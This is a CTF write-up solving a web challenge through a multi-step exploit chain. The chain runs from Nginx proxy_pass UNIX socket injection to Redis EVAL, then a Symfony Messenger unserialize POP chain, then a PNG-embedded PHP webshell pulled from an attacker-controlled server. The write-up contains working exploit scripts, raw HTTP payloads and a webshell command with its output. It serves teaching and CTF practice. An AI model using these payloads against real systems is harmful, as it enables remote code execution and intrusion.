Write-Ups
Rayhan0x01,
Dec 30
2022
The challenge portrays a fictional application with a heavy tech stack and involves exploiting Nginx UNIX socket injection, queued message handling deserialization, and custom POP chain to export PHP backdoor with PHP-GD image compression bypass.
The challenge showcased attack vectors based on recent research articles and a custom exploit chain to give players room to do their own research and think out of the box.
The exploit chain started with a simple UNIX socket injection in the reverse proxy leading to Redis injection. With Redis in use as an asynchronous message-handling transport, players were expected to research and find a deserialization sink and custom gadget chain to gain remote code execution.
Unlike traditional web challenges, we have provided the entire application source code. So, along with black-box testing, players can take a white-box pentesting approach to solve the challenge. We’ll go over the step-by-step challenge solution from our perspective on how to solve it.
The application homepage displays a login form. Since the application source code is provided, we can see from the challenge/migrations/db.sql file that the login credentials are admin:admin
. After logging in, we are redirected to the following dashboard page:
If we click on one of the highlighted marks on the map, we get a pop-up to subscribe via email for live tracking updates:
Submitting a valid image reloads the webpage, and we can see a circular spell animation on the mark:
Visiting the "Exports" link from the top navigation bar, we can see a table with a record of our submitted email:
After a couple of minutes, the "Not Exported Yet" message is changed with a hyperlink to an image file:
The exported map image contains the location mark and some additional info as a watermark:
That is pretty much all the features of this application.
From the config/supervisord.conf file, the challenge host is running 4 separate programs:
[program:apache2]
command=httpd -D FOREGROUND
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:nginx]
command=nginx -g 'daemon off;'
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:redis]
user=redis
command=redis-server /etc/redis.conf
autostart=true
logfile=/dev/null
logfile_maxbytes=0
[program:messenger-worker]
command=/worker.sh
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
The apache2
program serves the Symfony framework PHP web application from /www
on port 8080
as specified in the config/httpd.conf file:
<VirtualHost *:8080>
ServerName orsterra.local
ServerAlias orsterra.local
DocumentRoot /www/public
<Directory /www/public>
AllowOverride All
Require all granted
</Directory>
ErrorLog /dev/stderr
CustomLog /dev/stdout combined
</VirtualHost>
The nginx
program is used as the reverse proxy for the web application. Additional directives are also included from the config/proxy.conf file as specified in the config/nginx.conf file:
server {
listen 80;
server_name _;
include conf.d/proxy.conf;
location / {
try_files $uri @app;
}
location @app {
proxy_pass http://localhost:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
The redis
program is running Redis on port 6379
and has a UNIX socket located in /run/redis/redis.sock as specified in the config/redis.conf file:
bind 127.0.0.1
protected-mode no
port 6379
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command CONFIG ""
rename-command MODULE ""
rename-command SCRIPT ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
tcp-backlog 511
unixsocket /run/redis/redis.sock
unixsocketperm 775
...snip...
The messenger-worker
program is running a bash script located in /worker.sh that periodically runs the Messenger queued message handler service and deletes existing messages in the Redis database:
#!/bin/ash
chmod 0700 /worker.sh
while true; do
php81 /www/bin/console messenger:consume SendMailTransport --time-limit=60 -vv
echo "DEL messages" | redis-cli
done
The config/proxy.conf file defines several Nginx location directives to proxy resources from the server side:
# Proxy resources via server for Privacy of Users and GDPR Compliance
location ~ /assets/googleapis {
rewrite ^/assets/googleapis/(.+)$ /$1 break;
resolver 1.1.1.1 ipv6=off valid=30s;
proxy_set_header Accept-Encoding "";
proxy_pass http://fonts.googleapis.com;
proxy_set_header Host "fonts.googleapis.com";
proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";
sub_filter_once off;
sub_filter_types text/css;
sub_filter "http://fonts.gstatic.com" "/assets/gstatic";
}
location ~ /assets/gstatic {
rewrite ^/assets/gstatic/(.+)$ /$1 break;
resolver 1.1.1.1 ipv6=off valid=30s;
proxy_set_header Accept-Encoding "";
proxy_pass http://fonts.gstatic.com;
proxy_set_header Host "fonts.gstatic.com";
proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";
}
location ~ /assets/(.+)/ {
rewrite ^/assets/(.+)$ /$1 break;
resolver 1.1.1.1 ipv6=off valid=30s;
proxy_set_header Accept-Encoding "";
proxy_pass http://$1;
proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";
proxy_intercept_errors on;
error_page 301 302 307 = @handle_redirects;
sub_filter_once off;
sub_filter_types text/css;
sub_filter "http://$1" "/assets/$1";
sub_filter "https://$1" "/assets/$1";
}
location @handle_redirects {
resolver 1.1.1.1 ipv6=off valid=30s;
set $original_uri $uri;
set $orig_loc $upstream_http_location;
proxy_pass $orig_loc;
}
The first two directives are for Google fonts, and the third directive tries to cover any hosts specified after the /assets/
path. We can see such a use case in the challenge/views/admin.html file where the FontAwesome stylesheet is being proxied through the challenge host:
<link rel="stylesheet" href="/assets/pro.fontawesome.com/releases/v5.14.0/css/all.css" integrity="sha384-VhBcF/php0Z/P5ZxlxaEx1GwqTQVIBu4G4giRWxTKOCjTxsPFETUDdVL5B6vYvOt" crossorigin="anonymous">
This also means we can perform SSRF via this endpoint as we have direct input on the proxy_pass
directive. We can quickly test this in Burp-Suite:
The proxy_pass
feature in Nginx also supports proxying requests to local UNIX sockets as highlighted in the following Detectify blog post:
The blog post describes in detail how we can leverage the proxy_pass
feature to achieve arbitrary Redis command execution. Sending the following payload via Burp Suite creates a new entry in the Redis database:
EVAL /assets/unix:%2frun%2fredis%2fredis.sock:%22return%20redis.call('set','redis_injection',1)%22%200%20/ HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0
Accept: */*
We can get inside our locally running challenge container instance and manually verify the Redis command execution was successful:
Now that we have Redis command execution, we can try common Redis attack vectors for RCE, but reading the config/redis.conf file shows that many of the sensitive commands are disabled, preventing the client from executing them:
bind 127.0.0.1
protected-mode no
port 6379
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command CONFIG ""
rename-command MODULE ""
rename-command SCRIPT ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
Since we can't directly leverage those sensitive commands for RCE, we can look for what else is stored in the Redis service that we might be able to manipulate and exploit further.
We already discovered from the environment variables that the Redis service is being used as a transport by the Messenger component provided by the Symfony framework. The Messenger component helps applications send and receive messages to/from other applications or via message queues:
From the challenge/config/packages/messenger.yaml file, we can see the options configured:
# config/packages/messenger.yaml
framework:
messenger:
transports:
SendMailTransport: "%env(MESSENGER_TRANSPORT_DSN)%"
routing:
'App\Message\SubscribeNotification': SendMailTransport
As per documentation, the default serializer value is set to Redis::SERIALIZER_PHP
.
Checking the messenger/Transport/Serialization/PhpSerializer.php file from the GitHub repository of Messenger, we can see there is a native PHP unserialize()
call inside the safelyUnserialize
function:
private function safelyUnserialize(string $contents)
{
if ('' === $contents) {
throw new MessageDecodingFailedException('Could not decode an empty message using PHP serialization.');
}
$signalingException = new MessageDecodingFailedException(sprintf('Could not decode message using PHP serialization: %s.', $contents));
$prevUnserializeHandler = ini_set('unserialize_callback_func', self::class.'::handleUnserializeCallback');
$prevErrorHandler = set_error_handler(function ($type, $msg, $file, $line, $context = []) use (&$prevErrorHandler, $signalingException) {
if (__FILE__ === $file) {
throw $signalingException;
}
return $prevErrorHandler ? $prevErrorHandler($type, $msg, $file, $line, $context) : false;
});
try {
$meta = unserialize($contents);
} finally {
restore_error_handler();
ini_set('unserialize_callback_func', $prevUnserializeHandler);
}
return $meta;
}
The safelyUnserialize
function is called from the decode
function of the same class that parses an $encodedEnvelope
object and decodes content of the body key from base64 encoding if it doesn't end with the }
character:
public function decode(array $encodedEnvelope): Envelope
{
if (empty($encodedEnvelope['body'])) {
throw new MessageDecodingFailedException('Encoded envelope should have at least a "body", or maybe you should implement your own serializer.');
}
if (!str_ends_with($encodedEnvelope['body'], '}')) {
$encodedEnvelope['body'] = base64_decode($encodedEnvelope['body']);
}
$serializeEnvelope = stripslashes($encodedEnvelope['body']);
return $this->safelyUnserialize($serializeEnvelope);
}
From the symfony/redis-messenger/blob/6.1/Transport/RedisReceiver.php file responsible for receiving the encoded payload from the Redis service, we can see how an Envelope
object is structured and passed to the decode function of the PhpSerializer
class:
class RedisReceiver implements ReceiverInterface
{
private Connection $connection;
private SerializerInterface $serializer;
public function __construct(Connection $connection, SerializerInterface $serializer = null)
{
$this->connection = $connection;
$this->serializer = $serializer ?? new PhpSerializer();
}
/**
* {@inheritdoc}
*/
public function get(): iterable
{
$message = $this->connection->get();
if (null === $message) {
return [];
}
$redisEnvelope = json_decode($message['data']['message'] ?? '', true);
if (null === $redisEnvelope) {
return [];
}
try {
if (\array_key_exists('body', $redisEnvelope) && \array_key_exists('headers', $redisEnvelope)) {
$envelope = $this->serializer->decode([
'body' => $redisEnvelope['body'],
'headers' => $redisEnvelope['headers'],
]);
} else {
$envelope = $this->serializer->decode($redisEnvelope);
}
}
...snip...
To reach the PHP unserialize()
call when the worker collects the messages from the Redis transport, we can inject a valid Envelope
message into the Redis service with the following command:
XADD messages * message '{"body":"BASE64_ENCODED_SERIALIZED_PAYLOAD","headers":[]}'
We can send the above command to Redis via our SSRF payload for further exploitation. For the next step, we need to find a POP chain to leverage this unserialize()
call.
To find potential POP chains, we can search for the PHP Magic Methods in the code base, which leads to the SubscribeNotificationHandler
class from the challenge/src/MessageHandler/SubscribeNotificationHandler.php file:
class SubscribeNotificationHandler implements MessageHandlerInterface
{
public $email;
public $uuid;
public $export_file;
public $x_coordinate;
public $y_coordinate;
public $map = 'http://localhost/static/images/clean_map.png';
public $stamp = 'http://localhost/static/images/stamp.png';
public function __invoke(SubscribeNotification $notification)
{
$this->email = $notification->getEmail();
$this->uuid = $notification->getUUID();
$this->x_coordinate = $notification->getXCoordinate();
$this->y_coordinate = $notification->getYCoordinate();
$this->export_file = md5($this->uuid) . '.png';
}
public function __destruct()
{
$exportMap = new MapExportService(
$this->uuid,
$this->map,
$this->stamp,
$this->export_file,
$this->x_coordinate,
$this->y_coordinate
);
$exportMap->generateMap();
$mapImage = $exportMap->getExportedMap();
$email_content = '
<div style="background: #006b86; color: #fff; margin:0; padding: 0;">
<p> </p>
<p style="text-align: center;"><strong>Live Tracker Update</strong></p>
<p style="text-align: center;"> </p>
</div>
<img src="data:image/png;base64,'.$mapImage.'" style="width:100%; margin:0; padding: 0;">
<div style="background: #0a7191; color: #fff">
<p> </p>
<p style="text-align: center;"><strong>© Spell Orsterra</strong></p>
<p> </p>
</div>
';
@mail($this->email, 'Live Tracker Update', $this->body);
}
}
We know that the __destruct()
method of a class is automatically called when there are no other references to that particular object left or if the execution reaches the end of the script. Luckily for us, a new class instance MapExportService
is created with multiple public class variables inside the __destruct()
method that we can override via deserialization. Reviewing the MapExportService
class from challenge/src/Service/MapExportService.php file, we can see we have an arbitrary file write as defined in generateMap()
function:
public function generateMap()
{
// Fetch resources
$mapFile = $this->fetch_image($this->map_url);
$stampFile = $this->fetch_image($this->stamp_url);
if (!$this->is_image($mapFile) || !$this->is_image($stampFile)) return false;
// Create Image instances
$map = imagecreatefrompng($mapFile);
$stamp = imagecreatefrompng($stampFile);
// add stamp to the tracker coordinates
imagecopymerge(
... snip ...
);
// create watermark with details
$stamp = imagecreatetruecolor(420, 115);
... snip ...
// Merge the stamp onto our map
imagecopymerge($map, $stamp, imagesx($map) - 450, 10, 0, 0, imagesx($stamp), imagesy($stamp), 50);
// Save exported map
$savePath = '/www/public/static/exports/' . $this->export_file;
imagepng($map, $savePath);
}
Since we can control the $this->map_url
and the $this->export_file
variable, we can export an arbitrary PHP file to get Remote Code Execution. The problem is that the arbitrary PHP file has to be a valid PNG image file and survive the modifications and compressions performed by the PHP-GD functions imagecopymerge
and imagepng
. Looking for PHP-GD compression bypass, we come across several blog posts such as the Synacktiv article and the encoding-web-shells-in-png-idat-chunks article that dates back to 2012:
The generated image that contains a PHP backdoor in IDAT chunks is suitable for our use case. We can now create a dummy implementation of the SubscribeNotificationHandler
class to generate the serialized payload:
<?php
namespace App\MessageHandler
{
class SubscribeNotificationHandler
{
public $email;
public $uuid;
public $export_file;
public $x_coordinate;
public $y_coordinate;
public $map;
public $stamp = 'http://localhost/static/images/stamp.png';
}
}
namespace main
{
$remotePNG = 'http://[attacker_controlled_server]/backdoored.png';
$obj = new \App\MessageHandler\SubscribeNotificationHandler;
$obj->map = $remotePNG;
$obj->email = "[email protected]";
$obj->uuid = '12345';
$obj->export_file = 'rh0x01.php';
$obj->x_coordinate = '120';
$obj->y_coordinate = '230';
$ser = serialize($obj);
echo $ser;
}
Executing the above script gives us the following serialized payload that would trigger the RCE if passed to an unserialize()
call where the SubscribeNotificationHandler
class is present:
Now that we have a working POP chain and user input on a PHP unserialize()
call, all that's left is to properly format the payload and inject a queue message on the Redis transport for the Messenger worker to consume. We can modify the PHP exploit script to format the payload into an Envelope
array object along with the Redis command:
<?php
namespace App\MessageHandler
{
class SubscribeNotificationHandler
{
public $email;
public $uuid;
public $export_file;
public $x_coordinate;
public $y_coordinate;
public $map;
public $stamp = 'http://localhost/static/images/stamp.png';
}
}
namespace main
{
$remotePNG = 'http://[attacker_controlled_server]/backdoored.png';
$obj = new \App\MessageHandler\SubscribeNotificationHandler;
$obj->map = $remotePNG;
$obj->email = "[email protected]";
$obj->uuid = '12345';
$obj->export_file = 'hack.php';
$obj->x_coordinate = '120';
$obj->y_coordinate = '230';
$ser = serialize($obj);
$ser = str_replace("\\","\\\\", $ser);
$arr = array("body" => base64_encode($ser), "headers" => []);
$socket = urlencode("/run/redis/redis.sock");
$evalPayload = '\'return redis.call("XADD","messages","*","message", "'. preg_replace('/"/','\\"', json_encode($arr)) .'")\' 0 ';
$evalPayload = preg_replace('/ /', '%20', $evalPayload);
echo "/assets/unix:$socket:$evalPayload/";
}
Executing the above script gives us the properly formatted payload that we can pass as the request path with EVAL verb for Redis command execution:
/assets/unix:%2Frun%2Fredis%2Fredis.sock:'return%20redis.call("XADD","messages","*","message",%20"{\"body\":\"Tzo0NzoiQXBwXFxNZXNzYWdlSGFuZGxlclxcU3Vic2NyaWJlTm90aWZpY2F0aW9uSGFuZGxlciI6Nzp7czo1OiJlbWFpbCI7czoxMzoidGVzdEB0ZXN0LmNvbSI7czo0OiJ1dWlkIjtzOjU6IjEyMzQ1IjtzOjExOiJleHBvcnRfZmlsZSI7czo4OiJoYWNrLnBocCI7czoxMjoieF9jb29yZGluYXRlIjtzOjM6IjEyMCI7czoxMjoieV9jb29yZGluYXRlIjtzOjM6IjIzMCI7czozOiJtYXAiO3M6NTA6Imh0dHA6Ly9bYXR0YWNrZXJfY29udHJvbGxlZF9zZXJ2ZXJdL2JhY2tkb29yZWQucG5nIjtzOjU6InN0YW1wIjtzOjQwOiJodHRwOi8vbG9jYWxob3N0L3N0YXRpYy9pbWFnZXMvc3RhbXAucG5nIjt9\",\"headers\":[]}")'%200%20/
We can now execute the above Redis command via the Nginx proxy_pass injection request:
EVAL /assets/unix:%2Frun%2Fredis%2Fredis.sock:'return%20redis.call("XADD","messages","*","message",%20"{\"body\":\"Tzo0NzoiQXBwXFxNZXNzYWdlSGFuZGxlclxcU3Vic2NyaWJlTm90aWZpY2F0aW9uSGFuZGxlciI6Nzp7czo1OiJlbWFpbCI7czoxMzoidGVzdEB0ZXN0LmNvbSI7czo0OiJ1dWlkIjtzOjU6IjEyMzQ1IjtzOjExOiJleHBvcnRfZmlsZSI7czo4OiJoYWNrLnBocCI7czoxMjoieF9jb29yZGluYXRlIjtzOjM6IjEyMCI7czoxMjoieV9jb29yZGluYXRlIjtzOjM6IjIzMCI7czozOiJtYXAiO3M6NTA6Imh0dHA6Ly9bYXR0YWNrZXJfY29udHJvbGxlZF9zZXJ2ZXJdL2JhY2tkb29yZWQucG5nIjtzOjU6InN0YW1wIjtzOjQwOiJodHRwOi8vbG9jYWxob3N0L3N0YXRpYy9pbWFnZXMvc3RhbXAucG5nIjt9\",\"headers\":[]}")'%200%20/ HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0
Accept: */*
We know the Messenger worker is running in the background as specified in the challenge/config/worker.sh, which consumes the messages from the Redis transport named SendMailTransport
:
#!/bin/ash
chmod 0700 /worker.sh
while true; do
php81 /www/bin/console messenger:consume SendMailTransport --time-limit=60
echo "DEL messages" | redis-cli
done
After our injected message is consumed, the insecure deserialization is triggered, and we can confirm the exploit worked by visiting the /static/exports/hack.php path to confirm the file exists:
We can issue arbitrary commands to execute with our newly added PHP backdoor:
curl -s "http://127.0.0.1:1337/static/exports/hack.php?0=system" -d "1=id" | hexdump -C
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 37 00 00 00 37 08 02 00 00 00 27 b9 45 |...7...7.....'.E|
00000020 11 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |.....pHYs.......|
00000030 c4 01 95 2b 0e 1b 00 00 01 23 49 44 41 54 68 81 |...+.....#IDATh.|
00000040 63 5c 75 69 64 3d 31 30 30 28 61 70 61 63 68 65 |c\uid=100(apache|
00000050 29 20 67 69 64 3d 31 30 31 28 61 70 61 63 68 65 |) gid=101(apache|
00000060 29 20 67 72 6f 75 70 73 3d 38 32 28 77 77 77 2d |) groups=82(www-|
00000070 64 61 74 61 29 2c 31 30 31 28 61 70 61 63 68 65 |data),101(apache|
00000080 29 2c 31 30 31 28 61 70 61 63 68 65 29 0a 75 69 |),101(apache).ui|
00000090 64 3d 31 30 30 28 61 70 61 63 68 65 29 20 67 69 |d=100(apache) gi|
000000a0 64 3d 31 30 31 28 61 70 61 63 68 65 29 20 67 72 |d=101(apache) gr|
000000b0 6f 75 70 73 3d 38 32 28 77 77 77 2d 64 61 74 61 |oups=82(www-data|
000000c0 29 2c 31 30 31 28 61 70 61 63 68 65 29 2c 31 30 |),101(apache),10|
000000d0 31 28 61 70 61 63 68 65 29 58 20 20 f0 0b cf 9c |1(apache)X ....|
000000e0 d7 2d 0f 6f 4c 61 fe aa 37 dd 43 3f e0 c1 05 a6 |.-.oLa..7.C?....|
000000f0 93 8c 46 2b 6d 62 36 4a e6 e5 6c e4 7e 78 4d 5c |..F+mb6J..l.~xM\|
00000100 a6 5f 5a 84 81 81 c1 66 b5 38 93 fc 8f 8b db 7e |._Z....f.8.....~|
... snip ...
The challenge flag can be read by executing the binary file /readflag.